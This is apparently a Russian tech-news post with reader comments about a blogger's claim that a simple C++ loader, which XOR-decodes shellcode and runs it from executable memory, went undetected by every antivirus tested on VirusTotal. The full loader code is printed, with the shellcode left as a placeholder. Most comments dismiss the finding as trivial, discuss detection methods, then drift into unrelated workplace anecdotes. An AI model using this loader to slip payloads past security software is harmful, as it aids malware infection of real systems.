Изначально Evasiv3 планировал написать огромный пост о способах обхода антивирусной защиты, однако, протестировав первый шаг своего «руководства» он был очень удивлен: ни один из 56 протестированных продуктов, призванных обеспечить безопасность пользователя в сети, не обнаружил его бинарник.
После получения подобного результата я решил отказаться от своей идеи долгого и изматывающего обхода антивирусной защиты и действовать быстро, «грязно», но при этом невероятно просто.
В своей работе evasiv3 использовал Veil-Evasion, часть Veil-Framework'a. Автор отмечает его как «превосходный инструмент, который почти никогда его не подводил».
Код, представленный ниже, написан на С++ и ориентирован на атаку, в первую очередь, windows-платформы:
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
Приведенный выше код создает массив символов с шелл-кодом, выполняет операцию XOR с невероятно сложным ключом «х» в нижнем регистре, выделяет немного памяти, копирует массив в нее и после выполняет.
Если вы сейчас подумали «да ладно!», то у вас та же реакция, что и у Evasiv'a. Масла в огонь подливает тот факт, что бинарник был обнаружен 0 антивирусов из 56 после проверки через VirusTotal. Продемонстрированный выше АВ-обход показывает, что простейший и основной метод проникновения до сих пор является рабочим.
Конечно, большинство антивирусов сосредоточены на пресечении эксплуатации уязвимостей, а не на их выявление, так что «хоронить» их пока рано.
На скриншоте в начале статьи указана дата за 2015 год, однако, автор кода перепроверил бинарник VirusTotal перед публикацией в своем блоге. Результат тот же: 0 из 56.
Комментарии (42)
vilgeforce
21.03.2016 15:58+51Кто-то "опять" узнал страшную тайну о том, что антивирусы в общем-то работают по сигнатурам, то есть ищут хитрыми алгоритмами что-то, что встречалось в "плохих" файлах. Тащемта, сотни и тысячи пакеров в дикой природе прошли мимо авторов, видать.
DimitarSerg
21.03.2016 16:05+11О Господи. А чего вы ожидали? Где собственно вредоносный код ?
tempico
21.03.2016 16:23+3Смысл копипастить вредонос? Это же может быть любой шеллкод, сгенерированный метасплоитом.
Посмотри внимательнее:
char b[] = {_вставляем_пэйлоадсюда};HOMPAIN
21.03.2016 17:23+12Тогда можно и в три строчки сделать
int main(int argc, char **argv) {
//добавьте ваш вредоносный код сюда
}
Тоже ни один антивирус не спали)
The_Floyd
21.03.2016 16:18+10Для подобного рода детектов есть риалтайм. Не понимаю что здесь нового и интересного, любой пакер PE файлов так работает.
ensane
21.03.2016 16:24+6Если антивирус начнет подбирать коды, пытаясь расшифровать любой обнаруженный бинарник, боюсь, вирусы действительно перестанут работать. Как и все остальное, кроме антивируса. Вопрос в другом: как среагирует антивирус на вредоносное поведение программы. Современные эвристические модули любят попомещать неопознанные исполнимые файлы в «черный ящик» и проанализировать поведение, прежде чем начать доверять.
DimitarSerg
21.03.2016 16:38Какие коды подбирать? Нормальный антивирь может задетектить в памяти код, чем бы ты его не зашифровал, не говоря о такой банальщине. И конечно же плюсую за коммент с "риалтайм" ака поведенческий анализ.
Izzet
22.03.2016 08:20+1По факту не так. Тот же meterpreter или mimikatz, запущенный через powershell, антивирусы не детектят. Хотя исполняемый код, самом собой, находится в памяти.
Основная проблема — антивирусы не могут себе позволить постоянно мониторить память.
ertaquo
21.03.2016 17:03+23Браво! Действительно неожиданное открытие! Особенно через 16 лет после появления первого полиморфного вируса.
michael_vostrikov
21.03.2016 18:00+5Программа выделила сама себе память, что-то туда записала и выполнила. В чужой процесс не лезет, функция VirtualAlloc() импортирована явно, без использования GetProcAddress(). Что тут подозрительного? Мне кажется, здесь только поведение самого кода можно проверять.
PS: Знакомый рассказывал, что если сделать простой шифровальщик с XOR и не убирать статическую линковку с CRT, то антивирусы почти не реагируют, иногда может 1-2 предупреждения о подозрительности выдают. Если убрать или еще как-то уменьшать размер, сразу появляется куча срабатываний.
iga2iga
21.03.2016 20:21Когда лет 6 назад баловался с ProRat, паковал его VMProtect и менял точку входа на свою. Для расчета перехода использовал банально FPU. Это несколько команд на ассемблере. Тогда ни один антивирь на вирустотал, не мог обнаружить ProRat, тоесть эвристика падала на командах с FPU. А вот если не изменять начало, то даже под VMProtect определялся сей троянец. Интересно, как сейчас в этом плане у антивирей?! Ну и не забываем, что вирустотал тесно сотрудничает с разработчиками антивирей. И если сегодня ваш код вызовет подозрения, то завтра с новыми базами он уже будет определен как вирус, если он, конечно, вирус…
Nexen2
21.03.2016 20:35+11Не думали не гадал что так скоро — по сути со сменой одного, всего одного поколения Карл!, базовые знания по IT уйдут в область шаманства и после обсуждений высоких материй в области например виртуалок народ начнет нести пургу про вирусы.
Сегодня у нас на работе разраб начал в игровом чате нести пургу про работу своп и зачем он нужен. Вернулись с обеда более старыегеймерыразрабы, попустили конечно малость, но что это, последний ли раз и на последнюю тему? И это человек 86 года рождения, что про моложе говорить.ragequit
21.03.2016 20:49+7Знаете, не в приложении к этому посту, который и вышел капитанским, а вообще: а где молодняку брать инфу, спрашивая о которой, тебя крестят "нубьем" и "ньюфагом", когда ты с ней не сталкивался, а корни всего этого находятся так глубоко, что не зная куда копать и не докопаешься? Ну вот серьезно. Сейчас технологии меняются чуть ли не раз в квартал и знать все людям, которые в IT, например, 3 года, вместо 30-ти лет — просто нереально, а учитывая зашкаливающий уровень снобизма в IT-кругах выудить хоть что-то из "старших" временами просто нереально.
Nexen2
21.03.2016 21:12+5Одна из особенностей ИТ — все сохранилось в инете от прошедших лет. Проблема не то что бы найти, проблема выбрать, что б почитать из найденного. Информации даже чересчур много.
Не встречал "старших", которые скрывают что-то, наоборот, чаще стоит что-то написать не так, или сказать не так — видишь, берет наш "старшой" детскую биту и идет махать в какой-то другой конец офиса перед чьим-то носом, объяснять очередному молодняку политику партии. Если кто-то чего-то не рассказал — мое мнение это либо так спрашивали, либо вообще забыли спросить. И вот с последним как раз часто сталкивался — молодняк порой попадается наглый, изучив новомодные технологии, считает себя опытнее и умнее старых слонов, считая что ничего из 10-20 и тем более 30 летних наработок ему никогда не пригодится.
Когда начинаешь рассказывать молодняку POP3 и про заголовки писем (кстати земля пухом изобретателю почты, недавно представился), видишь, как у них начинают почему-то вскипать мозги. Про SQL и правила создания индексов вообще молчу. Новеньким девочкам-верстальщицам не можешь объяснить, зачем нужен CSS media-тип, а к скорости сетей привыкли так, что не можешь заставить убрать фон-фотку 4Мб на что-то более оптимизированное. Я иногда пугаю их рассказами про CSS 1-2, и IE 5.5+. От страха забиваются в уголок и плачут.
Недавно подарок преподнес Хром. На сервере утилита перезапускала Nginx по запросу с браузера (админская панель). Хром, почуяв разрыв с сервером, посылал второй запрос, в то время как ФФ выдавал ошибку. Мне это принесли как два бага — баг в ФФ и то что в Хроме неадекватная инфа ("сервер не может быть перегружен, так как запрещено перегружать чаще чем в ####").
И вот стоят два админа (причем один главный), два прогера, из которых один я, и наш менеджер проекта и я час распинаюсь, показываю логи, распечатки запросов, прочая, чтобы доказать хотя бы для начала что проблема не в ФФ. И что в Хроме на самом деле два запроса. В том числе двум системным администраторам!!! Это в какие времена живем что люди забыли основы сетей? В итоге доказал, младшой админ покурил мануал, заменил restart на reload (или наоборот, не помню), все заработало адекватно.
Чую себя иногда как в вархаммере 40к, техножрецом. И вспоминаю Айзековскую "Академию". Но там были тыщи лет и несколько сотен соответственно. А тут 30 прошло, первое поколение только-только начало уходить.Nexen2
21.03.2016 21:27+1А как я недавно пытался объяснить что такое за кодировка 16LE. Кстати с кодировками вообще все грустно, все настолько к UTF-8 уже привыкли, что некоторым даже приходится это понятие объяснять. Людям, делающим сайты! Так вот, долго объяснял, что порядок байт может быть разным в пределах двухбайтового слова и почему собственно он может быть разным. Думал умру прямо там у доски.
После чего пользователям Win не мог объяснить, что не надо CSV экспортировать в Win-1251 только чтобы в их офисах (этот МС офис и его 1251 даже в OFF2007 это вообще отдельная история), особенно учитывая что клиент вообще не русиш ни разу… Аа-а-а-а-а.....Klukonin
21.03.2016 22:25фис 2007 кстати, весьма похабно работает с CSV, обрезая поля и забивая их нолями. Сам был в шоке когда увидел глазами. Казалось бы, основы основ, формат исходника — проще некуда, но и тут проблемы.
Как-то грустно это все…Nexen2
21.03.2016 23:01+2Ну как бы даже не в этом дело. На самом деле стандарта на CSV нет, и разные версии офиса ("наши" и "ихние") то запятую, то точку с запятой принимают за разделитель. При том что тот же аутлук, 2007 в том числе, может вести себя противоположно его родственнику экселю.
Дальше. Несмотря на то что МС к этому времени полностью перешел на юникод, импорт по умолчанию — в Win-1251. И БОМ (КАРЛ! БОМ!!!) не помогает указать на UTF-8.
Но дальше больше. Я привык что в моем 2003 или опен-офисе при открытии CSV открывается диалог импорта. Читайте выше почему его нужно открывать. А теперь финиш — в 2007 по дефолту нет этого диалога при открытии CSV! В меню Data если кнопка Import, там можно вызвать это окошко и настроить импорт. Итог плачевен — менеджер, посмотрев на это, сказал "считайте что клиент идиот и не поймет, где нужно клацнуть 3 лишних раза". Ну а что он мог сказать?
Но то такое.
А, еще из недавних приколов. Я как-то, когда обсуждали рассылки и переформатирование писем, особенно на телефонах, рассказал что в письме можно задать несколько разных текстов. С разными Content-Type. На меня посмотрели как на идиота, а потом честовали как героя.
Из более давних приколов. Работал года два назад на фирме занимавшихся складской программой. Программа печатала штрихкоды для товаров, паллет и грузовиков. Каждый символ-цифру отдельно. По сути серию последовательно идущих штрих-кодов. Из-за слишком частой гребенки не удавалось им создать штрих-код для грузовика, чтобы его лазерным пистолетом просканировать на "бегу" с расстояния в два метра. Начал спрашивать про странности их штрих-кодов, мол такая частая гребенка необязательна. Зеркалирование каждого символа отдельно — тем более. Сначала отмахивались. Но потом распечатали"толстую" гребенку используя стороннюю библиотеку, на 2 листах А4 горизонтально, наклеили на стену, просканировали с расстояния в 3 метра. И что вы думаете? Хоть бы кто спасибо сказал. ЛОЛ.
Klukonin
21.03.2016 23:35+1Это повсеместно так =) Сперва покупают лютый энтарпрайз за конские деньги ни с кем из технарей не посоветовавшись. Потом ты говоришь что это дерьмо и доказываешь, но тебя не слушают. А потом ты вадаешь решение, исправляющее какой-нибудь значимый косяк, но все делают вид что ничего не произошло. А если повезет, через некоторое время могут возникнуть вопросы «а чем он там занимается, давайте отдадим поддержку этой штуки на аутсорс». Эффективный менеджмент, чего уж там…
По поводу Content-Type. Можете рассказать подробнее? Мне лично и народу нравятся такие истории успеха.
Nexen2
22.03.2016 15:00Да что за история успеха. Нормально и хорошо документированная фича, когда два куска текста в письме идут как бы вложениями, с разделителями. У одного задан content-type как html, у другого как текст.
Теперь сама история: старые телефоны не могут адекватно отобразить HTML, они понимают это и пытаются его упростить. Не всегда так что финал читаем. Особенно это касается ссылок, от которых остается только то, что было внутри тега ссылки, а сама ссылка при этом теряется. Ну я добавил text часть, настроил её, думаю, если создатели почтовиков не были дураками, они будут проверять наличие этого куска в письме. Нет, не были дураками, ни одного из почтовиков и ни одного из телефонов, от первых айфонов до старых "берри".
А вот кто видимо метит на это определение, так это видимо мои сослуживцы. "Как это два письма в одном?". Это при том что любой (или почти любой) почтовый фреймворк имеет что нибудь вроде функций setHtml и setText, и порядочную документацию, их описывающую. Только документацию видимо никто не читает. Пришлось доказать наличие явления, добавив подпись из своих ФИО, продемонстрировать их на телефонах, показать в исходниках письма. "Вау круто, но наши тестеры сандербердом не пользуются, как им проверять правильность рассылки? В Аутлуке такого нет.". Хотели уже отменить всё, но я, справедливо думающий что такое должно быть во всех НОРМАЛЬНЫХ почтовиках, нашел эту функцию в GMail — пункт меню "проблемы с кодировкой" хотя прямо и не говорит что он показывает, но он показывает именно text/plain часть письма. Ту, которую я задал руками.
То есть я находился в положении, когда мне приходилось доказывать наличие некоего функционала и технической возможности, работающей уже десятки лет и хорошо документированной. О которой в теории знает любой программер, работающий в области больше N лет. И даже после этого всё хотели отменить только потому что работу функционала невозможно проверить. У тестеров, на их винде, на аутглюке. Я был в бешенстве.
MacIn
22.03.2016 03:23Лучше на англоязычных сайтах. Malware analysis. Читать, читать, читать. Еще wasm.ru и osdev. Тогда не будет таких… детских статей.
Любой порядочный антивирус посчитает подозрительным выделение памяти с RWE одним махом.
Intercepter
22.03.2016 11:25Удивиться могут только люди ничего не знающие о работе антивирусов и техниках их обхода.
teecat
22.03.2016 12:44+1Вирустотал стал каким-то знаменем. Там помоему поперек сайта нужно написать: "люди! Мы проверяем только и исключительно факт о нахождении информации о конкретной модификации вредоносной программы в антивирусной базе. Мы не проверяем возможность нахождения данного образца антивирусом, имеющим данную базу".
Вон например на http://www.securitylab.ru/blog/company/revisium/282266.php ссылаются на вирустотал в обоснование ненужности использования антивируса. Грусть-печаль
А ведь нахождение-то вируса возможно при отсутствии информации в базах, а необнаружение — при наличии.
sidristij
все гениальное — просто. теперь, когда антивирусники научатся детектить вредонос внутри массивов, над которыми идет xor, то будет достаточно сделать, например, ROT13 по 255 чтобы получить заветные 0 из 56